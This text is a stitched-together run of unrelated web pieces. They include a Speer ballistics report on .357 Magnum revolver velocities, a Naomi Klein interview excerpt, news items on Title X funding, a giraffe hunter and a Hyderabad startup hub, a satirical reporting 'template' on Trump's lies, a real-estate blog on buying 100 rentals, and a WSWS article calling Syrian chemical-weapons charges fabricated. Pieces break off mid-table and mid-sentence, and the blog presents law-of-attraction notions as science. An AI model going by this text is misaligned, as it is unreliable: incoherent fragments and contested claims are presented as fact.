Letters like this imaginary one are all too common. In an effort to pinpoint one reason for such velocity differences, the Speer Ballistic Laboratory selected three lots of.357 Magnum ammunition in different bullet weights. These particular lots of ammunition were selected because of their uniformity, not because of high velocity. The ammunition was fired in all of the.357 Magnum guns available to the lab at the time. The different handguns were all tested in same manner with the gun muzzle elevated and then gently lowered to the horizontal for each shot. Every effort was made to make the results as accurate as possible. The table shows the average velocities of the three different bullet weights in each of the guns tested. Note that in the standard 10" test barrel, made to tight ammunition industry specifications, the extreme variation (EV) in the velocities ranged from 48 fps for the 125 grain hollow point bullet, to 38 fps for the 158 grain soft point bullet. Using the 6" barreled revolvers as an example, the EV between all 125 grain bullets fired in all the 6" barrels was 376 fps, almost 8 times the EV in the test barrel. The EV for all 6" barreled revolvers with the 140 grain hollow point ammunition as 275 fps, over 10 times the EV in the test barrel. The 158 grain soft point ammunition showed an EV of 282 fps, almost seven times the test barrel EV of 38 fps. These large variations are due partly to the relatively very small differences in chamber, bore, forcing cone rifling, and barrel-cylinder gap dimensions and in the finish or smoothness of these interior surfaces. Chambers will vary minutely even though cut with the same reamer, as will all other machined surfaces. It is virtually impossible to manufacture two of some machined metal item, even as simple as a revolver, with all dimensions and finishes exactly the same. When hundreds of thousands of.357 Magnum revolvers have been made by thousands of different people, in different factories, with different materials and tooling, it cannot be surprising that there are differences between guns. These minor differences between guns cause some of the differences in ballistic measurements. Additional variations, due to differences between different makes or lots of bullets, powder, primers and cases, powder charges, loading dies, loading techniques and chronographs complicate the problem. Many times these small differences tend to cancel each other, but when everything goes one way, the resulting variation may be relatively large. These velocity tests are not presented with any idea of claiming that one particular brand or model of revolver is superior to another. A repeat of the test with different ammunition might well reverse the relative standings shown here. The point we want to make is that even with the very best quality ammunition available, there will always be velocity variations when the ammunition is fired in a different gun. Gun Description Barrel
Length -Ammunition Used in Test- 125 grain 140 grain 158 grain S&W M19#1 2.50" 1190 1132 1034 Colt Python 2.50" 1205 118 989 S&W M19#2 2.50" 1209 1118 1018 Ruger Security Six 2.75" 1233 1154 1075 Colt Trooper Mark III 4.00" 1317 1175 1101 S&W M66 4.00" 1385 1225 1117 S&W M19#1 4.00" 1368 1227 1153 S&W M19#2 4.00" 1374 1242 1146 Rug |
would peek over the hedges to look at the people living in the mansion, you know, drinking champagne and floating around in the swimming pool, right? So, I think that this is part of his appeal, like not to challenge this massive inequality, but to promise that if you play by my rules, you end up in the mansion. And it will be even sweeter because people are sleeping outside, right? Because you won.
And, you know, I think that this has been very much the message that he ran on as president, right? The promise of lifting you up, the chosen few—right?—the white working class, and at the explicit extent—at the explicit expense of brutality against people of color, right? And so, that formula that he honed, that was so profitable, that got such great ratings on The Apprentice, is now—the world is his reality show. And, you know, I quote Newt Gingrich in the book, where Newt Gingrich was asked—and he’s been such a booster of Trump’s—what he thought of Trump staying on as executive producer of Celebrity Apprentice, and Newt Gingrich, in a rare criticism of Trump, said that he thought it was a bad idea, because Trump was now the executive producer of a show called The United States. And I thought that was, you know, a rare moment of truth, right? We’ve all been recruited as extras into this show.
AMY GOODMAN: Well, I think the Trumps have declared this week “Apprentice Week,” and he and his daughter and adviser Ivanka Trump are going to Wisconsin today, where they’re going to Waukesha, where a GE plant is closing, and it’s heading to Canada, where you’re from. And we’re going to talk about all this and more with Naomi Klein. Her new book is out; it is called No Is Not Enough: Resisting Trump’s Shock Politics and Winning the World We Need. We’ll also talk about this weekend in Chicago, where we both were. Bernie Sanders held a major event, the People’s Summit. Four thousand people came. You’ll hear some of what he has to say. And also, what happened in Britain with Jeremy Corbyn, the Labour leader? Is he soon to be the British prime minister? Stay with us.President Trump on Thursday signed a bill that would allow states to withhold family planning funds from Planned Parenthood and other clinics that provide abortions.
The bill overturns a rule that the previous administration enacted shortly before the end of former President Barack Obama's term, which prevented states from disqualifying an organization from federal family planning grants, called Title X, if they provide abortions. The rule was aimed at protecting Planned Parenthood from various defunding efforts among Republicans. The president of Susan B. Anthony List, which opposes abortion, called Obama's move a "parting gift to the abortion industry."
"The resolution signed today simply ensures that states are not forced to fund an abortion business with Title X taxpayer dollars," said Marjorie Dannenfelser, president of SBA List. "Rather, states have the option to spend money on comprehensive healthcare clinics that better serve women and girls."
Planned Parenthood is the country's largest abortion provider, but its clinics also provide contraceptive services, HIV and pregnancy testing, and cancer screenings, which the federal family planning grants help pay for. Federal dollars are prohibited by law from going toward most abortions.
When supporting defunding measures, anti-abortion groups and lawmakers have argued that federal funds being used for other purposes allow clinics to free up dollars to help pay for abortions.
"Taxpayers should not be forced to fund abortion, plain and simple," House Speaker Paul Ryan, R-Wis., said following the signing of the bill. "We remain united and steadfast in our commitment to life and religious liberty."
Planned Parenthood said in a statement that it opposes the measure.
"People are sick and tired of politicians making it even harder for them to access healthcare, and this bill is just the latest example," said Dawn Laguens, executive vice president of Planned Parenthood Federation of America "Planned Parenthood strongly opposes President Trump's willingness to undermine millions of women's access to birth control through the Title X family planning program. Four million people depend on the Title X family planning program, and by signing this bill, President Trump disregards their health and well-being."
The bill passed narrowly through Congress. While Trump has authority to undo certain regulations enacted under Obama, the Title X rule required a joint resolution of disapproval by the House and Senate and agreement from the president. The legislation passed the Senate last month after Vice President Mike Pence issued a tie-breaking vote.
Abortion foes saw the signing as the second victory in a week for their cause, following the swearing-in of Neil Gorsuch Monday to the Supreme Court.
"Prioritizing funding away from Planned Parenthood to comprehensive healthcare alternatives is a winning issue," said Dannenfelser, who was at the signing. "We expect to see Congress continue its efforts to redirect additional taxpayer funding away from Planned Parenthood through pro-life healthcare reform after the spring break recess."
Seema Verma, administrator for the Centers for Medicare and Medicaid Services, also cheered the move. "I think the president's signature today is an important step and it shows that the president is keeping his campaign promises," she said. "This shows that we want states to be in charge of their own decision making."
Penny Nance, CEO of Concerned Women for America, also was at the signing.
Gabby Morrongiello contributed to this report.Thanks to British comedian Ricky Gervais, a great many people have seen the picture of extreme hunter Rebecca Francis lying next to a dead giraffe and smiling. His tweet ignited an Internet outage -- the modern-day witch hunt -- with hundreds of death threats from anti-hunters being angrily typed on computers around the world.
Now, five years after the shooting took place, Francis issued a statement that HuntingLife.com posted to its Facebook page. She explained the bull was about to die and by killing him she helped preserve his body and provide food for locals. HuntingLife.com called her a “conservationist” and said they “stood by her 100 percent.”
Check out her response in its entirety below:
"When I was in Africa five years ago I was of the mind-set that I would never shoot a giraffe. I was approached toward the end of my hunt with a unique circumstance. They showed me this beautiful old bull giraffe that was wandering all alone. He had been kicked out of the herd by a younger and stronger bull. He was past his breeding years and very close to death. They asked me if I would preserve this giraffe by providing all the locals with food and other means of survival. He was inevitably going to die soon and he could either be wasted or utilized by the local people. I chose to honor his life by providing others with his uses and I do not regret it for one second. Once he was down there were people waiting to take his meat. They also took his tail to make jewelry, his bones to make other things, and did not waste a single part of him. I am grateful to be a part of something so good.”
Gervais posted the tweet that sparked the outrage Monday. “What must've happened to you in your life to make you want to kill a beautiful animal & then lie next to it smiling?” he captioned the image of the Utah hunter. More than 25,000 of his 7.52 million followers shared the image. He has not issued a response to the death threats Francis received.
What must've happened to you in your life to make you want to kill a beautiful animal & then lie next to it smiling? pic.twitter.com/DyYw1T5ck2 — Ricky Gervais (@rickygervais) April 13, 2015
Follow me on Twitter @mariamzzarellaHow should the media respond when a Presidential candidate is caught lying? I don’t mean the small political prevarications that all politicians engage in — I refer to the uniquely outsized bullshit that has been dominating this election cycle.
So far, the mainstream press has been doing a mostly terrible job. However, that may be changing. To wit: Presidential candidate Donald Trump held a news conference Friday morning, where he:
1) Promoted his commercial interests in a hotel;
2) Admitted Barack Obama was born in United States;
3) Blamed the birther movement on Hilary Clinton.
Like so much else this election season, the media has been flummoxed in responding to such Trumpian absurdities like these. While some news outlets have acquitted themselves well – the Washington Post’s deep dive into Trump’s fabricated claims of charitable donations stands out – most of his unprecedented stream of falsities, exaggerations and outright lies has twisted them into knots.
Until Friday.
For the first time, a major media outlet responded to the Trump modus operandi appropriately. The New York Times called out his prevarications with an intelligent parry and counter-thrust, responding to the candidate’s histrionic absurdities with proper journalistic clarity. Online late in the afternoon, they published the column Donald Trump Clung to ‘Birther’ Lie for Years, and Still Isn’t Apologetic; in print the next day it was an above-the-fold, front page headline for the Saturday paper.
Michael Barbaro’s blistering analysis of the Trump birther issue was one of the first to not dance around the truth. Rather than engage in the usual genteel contortions to not challenge the falsehoods of a major candidate when responding to an outright lie, the writer placed Trump’s words into proper context. The result was a spectacularly accurate assessment of an historically important lie.
Perhaps even more important, the “paper of record” unwittingly created a template for other journalists wrestling with the unique challenges of covering Trump’s many fabrications. (I have found such templates to be helpful in the past).
Here is that template; journalists covering the campaign are encouraged to copy and paste this for future use.
Template for Reporters Covering Donald Trump Trump false statement Identify history of prior false claims, by listing lies in Chronological order 2011: Tells a lie [insert description] 2012: Still a lie when it was repeated [insert description] 2014: Still lying [insert description] 2016: Amazingly, lying still [insert description] Contextualize how Trump managed to never get called out on the lie; reference the social impact of these false statements, including overtones of racism. Point out facts demonstrating to any rational person Trump’s statements were obvious lies prior to listed dates. Reference Trump’s embrace of conspiracy, use flowery language to describe the toxicity of the lie. Mention how good minded associates of his are embarrassed by it. Point out how he worked to “mainstream” a fringe falsehood. Social media reference, where facts do not matters. Explain how the lie was repeated on live television, unchallenged by fact-checking. Reference the various lightweight (i.e., non-news) shows where the lie was repeated, without serious challenges from lightweight anchors. Rhetorical questions about motivations: Media attention? Racism? Cynicism? Calculated political stunt? Point out how his aides and advisors say he has moved on, even as he keeps repeating the lie. Reference his skillful manipulation of television. Describe the lie being replaced with an even more bizarre new deception. Describe the narcissism involved. Reference the lies with interesting turns of phrase: “casual elasticity with the truth;” and “exhausted an army of fact-checkers;” and “insidious, calculated calumny.” Repeat reference to underlying racism coursing through the lie. Use an Obama quote to show Trump’s lack of eloquence or statesmanship. – End –
Journalists should save this template for future usage. (PDF)
When you are confronted with a pathological liar running for public office, you should respond with context and history, with literary flourishes and honesty.
Each and every bizarre falsehood that challenges the fabric of our democracy – be it about his income or his taxes, or about the charitable gifts he never was party to or the litigation he was, about how if he loses, the election must be rigged, this is how the reporters covering the campaign should respond.Tata Sons Chairman Emeritus and noted industrialist Ratan Tata will inaugurate the country's largest technology incubator center 'T-Hub' in Hyderabad on September 7, a senior Telangana official said. "Our Technology Incubation centre 'T-Hub' which is meant to promote startups and innovators is going to be inaugurated on September 7 by Rata Tata," Secretary, Information & Communications Technology (ITC), Jayesh Ranjan told reporters.
"The first phase of T-hub, country's biggest technology incubation centre, spread over 60,000 square feet will accommodate 800 startups. And in 2018 when we are hosting World IT Congress in Hyderabad, we want to be ready with the second phase of T-Hub, which would be much more bigger one with built-up space of 300,000 sq ft and can host 5,000 startups," he said.
Telangana is going to become one of the leading states in the country which will promote innovations, he said. Telangana government is taking up the country's biggest technology incubator with collaborative efforts from the Indian School of Business (ISB), the International Institute of Information Technology (IIIT-Hyderabad) and NALSAR University of Law besides various other organisations.
These institutions would assist startups with management, technology and legal aspects of setting up and running a venture. Replying to a query on, Tata Capital's interest in picking up majority stake in the 'T-Hub' Innovation Fund being created under T-Hub and managing the funds, Ranjan said, "the first round of discussions has happened over it. T-Hub board meeting would be held tomorrow and there will be another round of talks (in this regard)."
The Telangana government is also setting up an innovation fund with Rs 10 crore initially which will be eventually scaled up to USD 100 million. Tata Capital has committed to investing a sizable sum in the corpus earmarked for the Telangana state government-run startup incubator, T-Hub.
Image Credit : Shutterstock
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With ‘innovate, incubate, incorporate’ mantra, Telangana aims at becoming the startup capital of the worldI am a big believer in making big goals and one of my goals is to purchase 100 rental properties by 2023. I have been a real estate agent and investor for more than 15 years, and I love the income my rental properties provide. Buying 100 rental properties will allow me to retire with more than enough money to reach my current dreams and goals. I do not want to buy 100 properties quickly without concern for the returns or risk. It takes a lot of money, time, and effort to buy 100 properties in the right way. I only buy houses that are well below market value and have great cash flow.
I first wrote this article in 2013, but have tried to update it frequently. I now have 20 rentals that make me over $10,000 a month after expenses. I am way behind on my goal, but many things happened that I could not have predicted like our housing market going crazy. I have bought commercial properties in the last few years instead of residential because they have been better money makers in my market. Be sure to check out Investfourmore.com for updates on all my rentals, and flips.
Why I made a more challenging goal
In 2010, my original goal was to buy 30 rental properties in ten years. I based that goal on what I thought I could realistically achieve when I started buying rentals. A couple of years ago, I realized my goal was too easy because I knew I could buy 30 houses in ten years. I had given myself no room for improvement in my investing strategies or real estate business! At the start of 2013, I reworked all my goals including my rental property purchase schedule. My new goal was to buy 100 rental properties by January 2023 because it challenged me and would make me work hard. I had no idea when I first made this goal how I could buy 100 rental properties, but that is why we make big goals; to challenge us to do more and to change the way we do things.
Why real estate?
I want to buy 100 rental properties because of the income and freedom that 100 houses will give me. I make over 15 percent cash on cash returns on my rentals because I purchase them below market value with great rent to value ratios. If I can buy 100 rental properties with the current cash flow requirements I have, I will make a lot of money. According to my calculations, I will be making over $900,000 a year in cash flow, have at least 60 houses paid off, and have over 11 million in equity in my rental properties. Those figures are not adjusted for inflation and assume no appreciation or rent increases. That kind of income should allow me to afford whatever my family and I want and allow us to do whatever we like. We only live once and I want to get everything that I can out of life.
The first part of this article discusses the philosophy behind buying 100 rental properties, why it is important to have big goals, and why it is important to think big. The second half of the article discusses the numbers and a detailed purchase schedule.
Is it possible to buy 100 houses?
To be completely honest, I do not know how I am going to buy 100 rental properties by January 2023. I do not make nearly enough money to buy 9 or 10 houses a year. I have barely been able to buy three houses a year. I bought my first rental property in December 2010, and I started my rental property purchase goal on that day. I should have had three by December 2011, six by December 2012, and nine by December 2013. I started out very slow buying only one rental in my first year. I have picked up speed and as of March 2016, I own 16 rentals, still behind where I had hoped to be. That does not mean I will not reach my goal. The reason I have not purchased as many rentals lately is they are much harder to find in our market. Our prices have increased significantly making it harder to cash flow. I have been buying many more fix and flips since I cannot find rentals.
Why do I think I can purchase 100 rental properties by January 2023 if I am so far away? After reading and listening to books on how to become wealthy I started reworking my life goals. A couple of ideas are repeated in books and audio tapes beginning with Think and Grow Rich by Napoleon Hill. Think and Grow Rich was published in the early 20th century after Napoleon Hill followed Andrew Carnegie for decades. Carnegie was one of the richest men in the history of the world and wanted someone to study rich people in the world and write a book about how and why they became rich. Because Carnegie was one of the richest people in the world, he was able to grant Hill access to most of the world’s wealthiest people. Think and Grow Rich is now known as one of the first self-help books, and many of its basic ideas are still taught today by the world’s most famous life coaches and teachers.
How will my attitude affect my success?
Being positive is a theme that is repeated in every self-help book and audio recording I have ever listened too. I am a strong believer that our attitude has a huge influence on our success in life. The books range from slightly crazy to extremely scientific reasons for how being positive can greatly affect the success we have in our lives. You may have heard of the law of attraction, which states that the universe will return to us whatever we put out. If we are positive and happy, we will get positive and happy things back. If we are negative and sad, negative and sad things will come our way. I am a very logical and scientific person and was not sold on this idea right away. I had to know why this would happen. How could being positive magically bring positive things into our lives?
I started doing research on the brain and on how the law of attraction theory worked. I found out that it is not all magic, there are scientific reasons why the law of attraction works. It is based on the subconscious part of our brain and on how it operates our bodies. We know that our conscious mind is only a fraction of what our brain is responsible for. Our subconscious mind is constantly working to keep us alive by telling our heart, lungs, muscles and the rest of our bodies what to do. Most of our movements and actions are performed by our subconscious, not our conscious mind. We do not have to think about walking, talking, driving, writing, or even most of our daily tasks. By doing those things repeatedly, we have programmed our minds on how to do them.
Tying this back into the positive thinking idea, if we are always thinking positively, our subconscious will think positively, too. If our subconscious thinks we are happy all the time, it will do what it can to make us happy. Why do we care what our subconscious thinks? It is much smarter than our conscious mind. The subconscious is responsible for handling millions of tasks at once, while our conscious mind can only handle a handful of ideas at once. If we let our subconscious know what we want it will help guide our lives and help us to get what we want. Whether it is love, happiness, money, or material items our subconscious has much more power than we think. The theory also states that you must think about what you want, not what you do not want because our subconscious cannot tell the difference. If you are constantly thinking about not having money, then your subconscious will do its best to make that come true as well. If you are constantly thinking of not getting sick, our subconscious will do its best to get you sick. Think of being healthy, think of being rich, and think of the good things, not the negatives.
Why such a big goal?
Almost every self-help book will tell you goals are extremely important. Without goals, we have no direction, no path, and no idea of what we really want in life. There are varying ideas of how our goals should be constructed. Some say we just need broad wide-open goals such as being as happy as possible all the time to make whatever is best for you to come to you. Others say to be as specific and detailed as possible with your goals, break your goals into smaller goals, and then have a period for when those goals will be accomplished. Eventually, you will have a detailed blueprint for how you will get to where you need to go.
Some people say you need realistic goals and others say you need outrageous goals. As you have probably guessed, I like outrageous goals! The reason I like outrageous goals is that they are challenging! If I know that I can reach a goal and if I know exactly how to reach it, where is the motivation for me to push myself? I want goals that make me think and reach for new ideas and systems. I have no idea what opportunities or challenges will face me in the future, so why should I limit my future goals to what I can do now? I may have a huge increase in income or find a new system that allows me to buy houses cheaper. I have such a lofty goal because I have no idea what could happen.
Who will I need help from?
Many of the self-help books also talk about how we all need friends, co-workers, or acquaintances to help us reach our potential. Some use the term mastermind to describe groups of like-minded people who meet to help each other succeed by offering advice and motivation. The idea is that the more people to brainstorm ideas, questions, problems, etc. the better chance a great idea or solution to a problem will come about. I do not have a mastermind group (this has since changed), but I have recruited my best friend to work with me and learn the real estate business. He was a top-level manager in the corporate world and left his six-figure salary behind to learn real estate from me. I benefit by having a new mind to bounce ideas off and have more help in the office. He benefits by getting out of the corporate grind and learning how to be truly wealthy. He also has a flexible schedule and he is not stuck behind a desk all day.
Here is a great article on why rentals are such a good investment.
Why focus is so important
The self-help teachers also say how important it is to focus on one task or goal. All the greats had something in their mind that they really wanted. They did not let anything stop them until they got what they wanted or died trying. I have always thought of myself as being able to multitask, a jack-of-all-trades type of person. So far, it had worked out well, but I know I can do better. I know there are things I can improve in my business to make it run better and make more money. I have always thought that I knew everything about finding good deals in real estate. After starting this blog, I have realized that there is a whole world I have been missing in direct marketing to off-market properties. Instead of trying to manage five different sources of income myself, I need to delegate less important tasks to my staff and focus on the real moneymakers. If I can focus intently on a couple different areas of my work instead of just skimming over 50, I know I can improve my numbers significantly. Here is a great article on how to save time and focus better.
Why visualizing the goal being achieved is important
Many great athletes will tell you how important visualization is to succeed in sports. Great golfers visualize exactly how their shot will look before they hit it. Basketball players repeatedly visualize hitting the game-winning shot. The wealth teachers are all huge supporters of visualization. They say visualization will give your subconscious a clear picture of what you want and then your subconscious will do its best to make it happen. If you want to change your life, start visualizing how it should be every day. Better yet, go see, touch, and smell the things you want. Test-drive the car you always wanted, look at your dream home, or immerse yourself with the things you want and your subconscious will get to work. I wrote a ten-year dream story on exactly how I wanted my life to be. I described a beautiful house and in three months, I bought that house. I was not even planning to move and in no way thought I could afford a house like the one I have now, but it became a reality. Here is a full write-up on how and why buying my dream house happened so quickly.
Using all I have learned to reach my goals
Based on the ideas I have just discussed, I think I have a good chance of reaching 100 rental properties. I still do not know exactly how it will happen, but I know it will or I will find a better and more challenging goal. I have to train my subconscious to help me reach the goal. I have to be positive all the time. I have to think about my goals constantly and break it down into manageable pieces. I must have help and I have to focus more intently on my important goals. I also have to visualize myself already achieving my goals and having everything I want. Even if not all of this makes me rich, worst-case scenario, I am a positive, determined, focused person who knows exactly what he wants. I recently bought a Lamborghini Diablo thanks to goals and visualization.
Breaking down big goals makes them more realistic
I have broken down other goals in my life, but I have yet to break down a goal this big! I am going to work through the goal while writing the blog and see where I end up in 9.5 years. I wanted to write this article to help convince myself that it is possible to buy 100 properties. The first part of this article was all about my mindset. Now, let us get down to the numbers. Here is a year-by-year breakdown of how I plan to purchase 100 rental properties.
Year one
With my current income, I can purchase three rental properties a year and I have purchased that many in the last three years. I should be able to do a cash-out refinance on at least one rental property in 2014 and get enough money to buy another property. I am also counting on my new attitude and work ideas to create enough extra income to purchase one more rental property. I also just acquired a HELOC on my personal residence for $60,000. I think that will allow me to purchase one more rental. New goal for 2014 is to purchase six long-term rentals.
I will have 15 houses with about $9,400 in monthly cash flow. That is $112,800 a year all going toward paying off mortgages on my properties. I will have paid off one house at the beginning of 2014 and will pay off one and a half more in 2014.
Year two
In 2015, with income and savings, I should be able to purchase four properties. I should be able to do another cash-out refinance and buy another rental property as well. I also believe my continuous improvements will allow more increases in income, through either listing or flipping houses. The increased income will allow me to add another rental and HELOC another as well. I am hoping the addition of my friend beginning to work with me will bring in more income from his real estate activities, which will allow another purchase. My goal for 2015 is to purchase nine rentals.
I will have 24 houses with about $15,200 in monthly cash flow. That is $182,400 a year all going toward paying off mortgages. I will pay off the other half of one property and two more rentals in year two and will have four properties paid off.
Year three
I believe I will increase my income and savings enough to be able to buy five rentals. I will have 24 rentals and I should be able to refinance at least two of those properties. That will allow two more purchases and the HELOC should add the flexibility to add another rental. I am still planning to add to my income every year with increased business. This year I see a big jump in income with my friend being around for his third year and our new marketing and listing techniques taking off. I see three more rental properties being purchased from new income. My goal for 2016 is to purchase 11 rentals.
I will have 35 houses with about with about $22,200 in monthly cash flow. That is $266,400 a year all going to pay off mortgages. I will pay off four and a half more properties for a total of eight and a half properties paid off.
Year four
From my current income, I will be able to buy eight rental properties. I will continue to refinance two properties a year, which will allow at least two more purchases. I am also going to use the HELOC to buy another, and I am still planning to increase my income. I am going to stay conservative and assume enough income to buy one more property this year. My goal for 2017 is to purchase 12 rental properties.
I will have 47 rental properties at this point with about $31,400 in monthly cash flow. That makes $376,800 a year all going to mortgage payoff! I will pay off the half of a mortgage left over from 2016 and five more properties in 2017, making 14 properties paid off.
Year five
From my current income, I will be able to purchase nine rental properties. I will refinance two more properties and use the proceeds to buy two more rentals. I may not have enough money in the HELOC this year so I will not count on that, but I will count on my income increasing enough to purchase one more rental. My goal for 2018 is to purchase 12 rental properties. Note: To buy this many properties I will need about $300,000 in cash for repairs and down payments.
I will have 59 rental properties with a monthly cash flow of $41,000. That makes $492,000 a year all going to mortgage payoff. I will pay off seven and a half more properties in 2018 making 21.5 properties paid off.
Year six
From my current income, I will be able to purchase ten rental properties. I will refinance two more properties and use those proceeds to buy three more rentals. With inflation and appreciation, I should be able to refinance the properties for more money than in previous years. I will not use increased income to buy another property. If my income increases, I will use it for fun stuff such as vacations or cars! My goal for 2019 is to buy 13 rental properties.
I will have 72 rental properties with a monthly cash flow of $51,600. That is $619,200 going toward mortgage payoff. I will pay off the half mortgage from 2018 and nine more properties in 2019 making 31 properties paid off.
Year seven
From my current income, I will be able to buy ten rental properties. I will refinance two more properties and use that money to buy three more rentals. I will not count on any more raises in income since I do not need it at this point. My goal for 2020 is to purchase 13 rental properties.
I will have 85 rental properties with a monthly cash flow of $63,400. That is $760,800 a year going towards mortgage payoff. I will pay off 11 more properties in 2020 making 42 properties paid off.
Year eight
From my current income, I will be able to buy ten rental properties. I will refinance two more properties again and purchase three more rentals with that money. My goal for 2021 is to purchase 13 rental properties.
I will have 98 rental properties with a monthly cash flow of 75,600. I will have $907,200 a year going towards mortgage payoff. I will pay off 14 more properties in 2021 making 56 houses paid off.
Year nine
I only need to buy two more properties to reach my goal! I made it ahead of schedule and when I started writing this article, I was not sure how I would be able to reach 100 properties by 2023. I do not need to refinance any properties at this point and I can start using my income any way I want or I could retire!
I will have 100 rental properties with a monthly income of $82,400. I will have $988,800 a year going to whatever I want it to go to at this point. I can stop paying down mortgages if I want to or I could keep buying properties if I get bored. I came really close to the figures I estimated before writing this article. Falling just short of one million in income from my rental properties (which was more than I thought) and just shy of 60 properties paid off.
Assumptions in my plan to purchase 100 rental properties
You may be wondering how I came up with my figures. To be honest I used very basic figures to make things easy on myself.
I assumed $600 in monthly cash flow per property. I am making between $500 and $700 per property now.
I assumed each mortgage that I paid off would increase monthly cash flow by $400.
I do not assume any inflation because that would cause the numbers to be much more difficult to figure!
I assume my portfolio lender will continue to lend on as many properties as I want. I will have 43 houses financed at one time and then those will start to decrease as I pay them off.
I assume I can continue to do cash-out refinances with my portfolio lenders.
I assume interest rates will not increase significantly.
I assume rental rates will not go up.
Additional benefits of rental properties that my income projections did not account for
Rental properties have great tax advantages, which I discuss here. Every rental property can be depreciated, which will save me thousands in taxes each year. I assume my rental properties will not appreciate, but they have already seen huge appreciation in the last two years, increasing my net worth by $600,000. I assume rents will not increase, but my rents have increased as well over the last couple of years. I rented my first rental property for $1,050 a month in 2011 and it now rents for $1,300 a month. I will most likely be better off than my projections indicate if I can buy 100 rental properties.
Potential roadblocks
These are many assumptions and one or more of them may not work out as I plan. However, other factors may help me do even better than I planned or balance out any roadblocks I run into.
New ways to find properties: I am going to start direct marketing to off-market owners. This should allow me to buy properties even further below market, and I may even find a few owners who will finance down payments. I recently realized I could use my IRA to buy properties!
Private money: One of my goals is to find new sources of private money that will allow me to finance more repairs and down payments. This would allow me to put less money into properties and buy them faster.
New income sources: I have no idea what the future holds as far as opportunities and money. I may find a gold mine that will allow me to buy properties for cash and not have to worry about financing at all!
I assume I will not do anything with the houses I pay off free and clear, but if needed to I could easily get a line of credit or refinance one of these houses to bring in enough money to buy a few new properties.
What will I do in 2023 if I reach my goal?
I have many things I would love to do if I did not have to work. Here is a list of a few of the things I would love to do with one million dollars a year coming in and no job!
Start a pizza restaurant
Start a car dealership
Travel the world with my family
Donate time and money to those less fortunate
Play in the World Series of Poker
Attend a Super Bowl
Play golf all over the world
Buy a Lamborghini Diablo (done!)
Buy a beach house
Help teach others about real estate (doing my best now)
I have a much longer goal list than what is above and I hope to do many of these things before 2023. I know I will have time, money, and the freedom to do these things at that time.
Conclusion
I plan to purchase 100 rental properties by January 2023, but I realize that may not happen. If something better comes along to change my plan, I am ready to embrace fully any new opportunities.
Update on my plan 2014
I have already changed focus slightly in 2014 to fix and flipping over buying long-term rentals. I have done this for two reasons:
1. There have been more fix and flip opportunities than rental opportunities in my market.
2. The money from flipping will help me buy more rentals; rentals take a great deal of cash.
It seemed crazy to think I could increase my income enough to buy this many properties when I first made this goal in 2013. However now that it is late 2014, I can easily see myself making more than enough money to buy 100 rental properties and have plenty of money left over |
reality: for a year he reported numbers of respondents in the supposed Rasmussen favorability polls that were different from the numbers in the Rasmussen approval polls. How does that correspond to the explanation that it was a labeling error?The Pollster.com charts, which understated Obama’s favorable rating advantage by almost 10%, were viewed hundreds of thousands of times on numerous political web sites. Arguably, it affected the fate of Democratic proposals in Congress.Here’s something that needs an explanation. If you take the Obama favorability chart and restrict the date range to the 12 months between 11/20/08 and 11/20/09, you get a list that includes no Rasmussen results and a chart that corresponds:The ghost of Rasmussen past apparently influences the other numbers.
Labels: polling, RasmussenWashington fabricates chemical weapons pretext for war against Syria
By Bill Van Auken
27 April 2013
In an attempt to pave the way for direct military intervention aimed at toppling the government of President Bashar al-Assad, Washington, its NATO allies, Israel and Qatar have all in recent days broadcast trumped-up charges that Syria has used chemical weapons.
In a letter to members of Congress Thursday, the White House declared, “The US intelligence community assesses with some degree of varying confidence that the Syrian regime has used chemical weapons on a small scale in Syria.”
In the midst of a Middle East tour dedicated to arranging a $10 billion deal to provide Israel and the right-wing Arab monarchies with advanced weaponry directed against Iran, US Secretary of Defense Chuck Hagel denounced the chemical weapons use, saying it “violates every convention of warfare.” He went on to acknowledge, “We cannot confirm the origin of these weapons, but [they]...very likely have originated with the Assad regime.”
Similarly, British Prime Minister David Cameron charged Syria with a “war crime,” stating: “It’s limited evidence, but there’s growing evidence that we have seen too of the use of chemical weapons, probably by the regime.”
All of these convoluted statements—“with some degree of varying confidence,” “cannot confirm the origin of these weapons,” “limited evidence” and “probably by the regime”—underscore the fraudulent character of these accusations.
There is no proof whatsoever that the Assad regime used chemical weapons. The Syrian government has itself charged the US-backed “rebels”—dominated by Al Qaeda-linked elements who boast that they have obtained such arms and are prepared to use them—of carrying out a gas attack in the village of Khan al-Assal near Aleppo last March. According to the Syrian military, the weapon was a rocket carrying chlorine gas that was fired from a rebel-controlled area at a military checkpoint in an area controlled by the government. A number of soldiers were among its victims.
The Assad regime requested that the United Nations send an inspection team to investigate the incident, but the US, Britain and France demanded that any team be given unfettered access to the entire country and all Syrian facilities. This would have created the same kind of inspection regime used to prepare the US invasion of Iraq.
Knowing that they have no proof and what evidence there is points to the Al Qaeda-affiliated elements they have supported, the US and its allies are nonetheless determined to use the accusations over chemical weapons to sell another war to the public.
Powerful sections of the ruling strata in the United States are determined to provoke a direct US military intervention and are flogging the poison gas pretext for all it is worth. Much of the corporate media is demanding that the Obama administration make good on its threat to treat the use of chemical weapons in Syria as a “red line” and a “game changer.”
But what gives the US the moral authority to proclaim “red lines” on this issue? In its nearly nine-year war in Iraq, the US military used chemical weapons to devastating effect. In its barbaric siege of Fallujah, it employed white phosphorus shells and an advanced form of napalm, both banned by international conventions, to burn men, women and children alive.
The legacy of these weapons continues to plague the Iraqi people—with huge increases in child leukemia and cancer, and an epidemic of nightmarish birth defects in Fallujah, Basra and other cities subjected to US military siege.
It should also be recalled that it was the British who introduced chemical warfare to the Middle East, dropping mustard gas bombs on Iraqi tribes that resisted British colonial rule. Winston Churchill, then secretary of state for war and air, declared at the time: “I am strongly in favor of using poisoned gas against uncivilized tribes…[to] spread a lively terror.”
Washington continues to defend its own massive stockpiles of “weapons of mass destruction,” while reserving to itself the right to respond to any chemical attack with nuclear weapons.
Behind the sudden turn to promoting the chemical weapons pretext for direct military intervention is the growing frustration of the US and its European allies over the failure of their proxy forces in Syria to make any headway in overthrowing the Assad regime.
This is in large measure because the Syrian government retains a popular base and, even among those who detest the regime, many hate and fear even more the Islamist elements, from the Muslim Brotherhood to Al Qaeda, which are seeking to replace it.
The US and its allies are themselves increasingly wary about the potential “blowback” from the sectarian civil war they have promoted. The governments in Britain and Germany as well as the European Union have all made statements in the last week warning of the dangers posed by hundreds of Islamists from their own countries going to Syria to join with Al Qaeda elements.
Behind the pretense that the cutthroats that rule the US and Europe are concerned about human rights and Syrian lives, the reality is that they are preparing bombings, the use of cruise missiles and Predator drones, and potential ground invasion that will dramatically increase Syria’s death toll.
The motives underlying such a war have nothing to do with qualms about chemical weapons, but rather concern definite geostrategic interests.
